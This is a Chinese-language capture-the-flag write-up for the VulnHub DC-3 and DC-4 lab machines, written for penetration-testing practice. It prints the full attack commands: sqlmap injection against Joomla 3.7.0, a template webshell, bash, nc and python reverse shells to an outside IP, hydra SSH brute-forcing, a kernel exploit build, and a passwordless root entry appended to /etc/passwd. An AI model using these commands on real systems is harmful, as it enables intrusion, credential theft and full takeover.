DC-3

环境配置

https://www.vulnhub.com/entry/dc-32,312/

渗透过程

·找到一个flag就算渗透成功

flag

老规矩,先局域网找到目标ip,然后扫描对应端口

nmap -sP 192.168.26.0/24
nmap -sV -p- 192.168.26.136 

这次只有80端口,访问同时用wappalyzer看一下基本信息

用的是joomla CMS,主要看dc-3的提示,翻译过来是说

这一次,只有一个flag,一个入口,没有任何线索。

要获得该标志,您显然必须获得root权限。

你如何成为root取决于你,很明显,取决于系统。

祝你好运-我希望你喜欢这个小挑战。:-)

一个入口,那就是这个登录框了,要获得root权限,猜测应该是joomla的相关漏洞,但不知道他的具体版本,用joomscan看一下发现是3.7.0,再用searchsploit看一下该版本存在什么漏洞

searchsploit joomla 3.7.0

和权限相关的应该就是那个sql注入了,通过这个拿到管理员的账号。但是就算只拿到账号密码,也需要找到后台登录的目录,扫目录也能出来,但是这里选择用joomscan , 它是一个针对Joomla CMS的扫描器,用这个可以获取更多的信息。

joomscan -u http://192.168.26.136/

后台登录地址也找到了:http://192.168.26.136/administrator

先回过头去看看sql注入是怎么利用的

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

给了sqlmap跑的payload,照着打一下

sqlmap -u "http://192.168.26.136?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

最后得到这样的结果

接着注joomladb的表名

sqlmap -u "http://192.168.26.136?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]

目的是为了找到账号密码,在users表下接着注列名

sqlmap -u "http://192.168.26.136?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]

再把username和password注出来

sqlmap -u "http://192.168.26.136?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]

再拿密码用john去爆破

得到密码:snoopy

成功登录后台

现在只是登录了后台,最终要获取到shell才算成功,获取shell肯定要找到上传点,因为绝大部分CMS的模板块都存在上传文件的功能,所以直接看一下

果然,这里可以直接编辑文件,也可以上传文件,直接编辑一下,写个木马上去,再在网上搜一下Joomla后台模板路径


然后访问一下http://192.168.26.136/templates/beez3/index.php页面再用蚁剑连接

连接成功后直接去看root目录下有没有东西

结果打都打不开,应该也要提权,要知道蚁剑的shell都是非交互式的shell,很多地方是不方便利用的,这也就是很多人蚁剑连接后喜欢反弹shell的原因,这道题连接蚁剑后来做最后运行脚本的时候也是会创建一个交互式的窗口,所以蚁剑还是无法成功

在蚁剑里面弹个shell就好了,或者在之前的上传页面弹shell也可以

bash -c 'bash -i >& /dev/tcp/139.196.xx.xxx/7777 0>&1'

成功后依然需要提权,先看一下有没有可利用的suid文件

没有找到明显能直接利用的点,具体看一下Ubuntu的版本

看内核信息的:
cat /etc/*-release

是16.04的,用searchsploit工具查找Ubuntu 16.04有没有什么漏洞。

去搜索一下这个是可以利用的,可以让低权限用户可使用此漏洞获得管理权限。
先看一下漏洞详情

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

也给了下载地址,照着网上的教程打
解压后把zip文件里的exploit.tar文件从蚁剑上 上传到/var/www/html/tmp/目录下,然后输入命令

tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

./compile.sh

./doubleput

就已经提权成功了,进入root目录下可以直接打开了

DC-4

环境配置

https://www.vulnhub.com/entry/dc-4,313/

渗透过程

·找到一个flag就算渗透成功

flag

扫描局域网存活主机及端口

nmap -sP 192.168.26.0/24 
nmap -sV -p- 192.168.26.137

有80直接去访问

没有框架,只有个登录框,提醒了admin登录,很容易想到弱口令爆破

用admin/happy登录一下

点来点去发现只有三个命令可以执行,突然想到可不可以改命令,于是抓个包看到好像是可以改,改来看看能成功不

可以看到执行成功了,那先弹个shell,我测试了一下,他应该过滤了尖括号,用nc可以弹成功(不成功多试几次,我弄了好久才成功)

nc+–e+/bin/sh+139.196.123.120+7777

最后是用的python弹的

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("139.196.123.120",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

根据之前的经验,flag应该在root目录下面,cat一下,依然没有权限,还是要想办法提权,先看一下

find / -perm -u=s -type f 2>/dev/null

没有看到什么可以利用的suid文件,大概看了一下内核信息,也没找到能利用的,迷茫了一会看到这有个/home/jim/test.sh 感觉这个有点问题,进入/home目录下有三个用户,我随便进的jim一路往下看

发现这里给了老密码的备份,又想到之前有个ssh端口,想来爆破试一下(稳点的做法应该是把三个用户放到一个文件去都去爆破,但我感觉就是jim,所以只爆了jim)

hydra -l jim -P pw.txt 192.168.26.137 ssh

用ssh登录一下

进去后随便看了看,好像mbox和test.sh可以打开

回过去用登录前的shell打开看看

果然,这个打不开,那突破口应该是这两个文件了,先看看里面的内容

什么发现也没有,只知道mbox像一封邮件,卡住了,学习了别的师傅的wp,这封邮件实际上起的是提示的作用,网上搜了一下,系统收到邮件都会保存在“/var/spool/mail/[linux用户名]”文件中。所以这封邮件其实是提醒我们去看看系统的邮件

这个邮件就给了Charles的账号的密码,明显让我们登录她,切换一下用户。

su charles

还是看一下有没有什么可以执行的suid文件

没有什么发现,接着看一看,之前说过sudo -l可以列出目前用户可执行与无法执行的指令,也能看可以执行什么管理员指令。

sudo -l

看到teehee可以以root权限执行,网上搜一下,搜半天搜不到这是个什么命令,都只给了答案。。。无奈自己看看

百度翻译了一下

看到选项-a可以写文件,目的是为了要一个高权限,所以可以写一个高权限用户进去。
先看一张图

了解格式后写进去就好了

echo "c1oud::0:0:root:/root:/bin/bash" | sudo teehee -a /etc/passwd
 
//管道符是把前面的输出当做后面的输入,这样写只是为了方便,也可以分两步来写
sudo teehee -a /etc/passwd
c1oud::0:0:root:/root:/bin/bash

提权成功后在进去拿flag就好了